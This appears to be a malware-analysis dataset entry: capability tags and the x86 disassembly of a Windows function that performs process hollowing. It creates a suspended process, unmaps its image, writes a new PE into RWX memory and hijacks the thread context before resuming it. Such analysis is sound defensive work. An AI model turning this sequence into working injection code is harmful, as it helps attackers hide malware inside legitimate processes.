Function at 0x415c33
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x4ccbf8]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, edx
xor ecx, ecx
push ebx
push esi
mov esi, dword [0x5514ec]
mov ebx, dword [eax + 0x3c]
add ebx, eax
mov dword [ebp - 0x94], eax
push edi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x90], ecx
cmp dword [ebx], 0x4550
jne 0x415f6e
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x98], ecx
xor eax, eax
lea edi, [ebp - 0x70]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
xor edi, edi
push edi
push eax
call fcn.004811a0
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x5c]
push eax
push edi
push edi
push 0x8000004
push edi
push edi
push edi
mov eax, str.__s__.rdp_RdpZapper
push eax
push esi
push eax
push edi
push edi
call fcn.0041ff80
add esp, 0x14
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x415efc
mov eax, dword [ebp - 0x90]
test eax, eax
je 0x415ce5
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 0x6c]
push 0x40
push 0x3000
push dword [ebx + 0x50]
mov dword [ebp - 0x90], eax
push dword [ebx + 0x34]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x60], eax
test eax, eax
je 0x415dfe
push edi
push dword [ebx + 0x54]
push dword [ebp - 0x94]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x415ee4
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x415d67
lea esi, [ebx + 0x10c]
mov eax, dword [esi]
add eax, dword [ebp - 0x94]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x60]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x415d67
movzx eax, word [ebx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jl 0x415d39
movzx eax, word [ebx + 6]
cmp edi, eax
jne 0x415ee2
push 4
push 0x1000
push 4
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x415ee4
push esi
mov dword [esi], 0x10007
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x415dec
push edi
push 4
lea eax, [ebp - 0x60]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x415dec
mov eax, dword [ebx + 0x28]
add eax, dword [ebp - 0x60]
push esi
mov dword [esi + 0xb0], eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x415dec
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x415f21
push 0x8000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x415ee4
push 6
pop ecx
mov dword [ebp - 0x74], edi
xor eax, eax
mov dword [ebp - 0xc], edi
lea edi, [ebp - 0x8c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x18
lea eax, [ebp - 0x8c]
push eax
push edi
push dword [ebp - 0x70]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x415ee4
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x10]
push ecx
push 4
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x10], edi
push ecx
add eax, 8
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x415ee4
push str.NtUnmapViewOfSection
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x415ee4
push dword [ebp - 0x74]
push dword [ebp - 0x70]
call eax
call fcn.00435f20
test eax, eax
je 0x415ee4
call fcn.00435f20
cmp dword [eax], edi
je 0x415ee4
mov eax, dword [0x4edee0]
test eax, eax
je 0x415ea0
mov esi, dword [eax + 0x190]
jmp 0x415ea6
mov esi, dword [0x4edee4]
call fcn.00435f20
test eax, eax
je 0x415eb8
call fcn.00435f20
mov eax, dword [eax]
jmp 0x415eba
mov eax, edi
mov ecx, str.Calling_NtUnmapViewOfSection_0x_08x__0x_08x_
push ecx
push dword [ebp - 0x74]
push dword [ebp - 0x70]
push ecx
push dword [0x4edee0]
push esi
push edi
push 0x1fb8
push str.D:MyProjectsProPilotTestMain.c
push 3
call eax
add esp, 0x28
jmp 0x415ee4
xor edi, edi
cmp dword [ebp - 0x60], 0
je 0x415f02
push 0x10000
push edi
push dword [ebp - 0x60]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 0x60], 0
jne 0x415f5b
mov ecx, dword [ebp - 0x98]
mov eax, ecx
inc ecx
mov dword [ebp - 0x98], ecx
cmp eax, 0x14
jge 0x415f5b
mov esi, dword [0x5514ec]
jmp 0x415c7f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x8000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x10000
push edi
push dword [ebp - 0x60]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
inc eax
jmp 0x415f70
mov eax, dword [ebp - 0x90]
test eax, eax
je 0x415f6e
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047f41c
leave
ret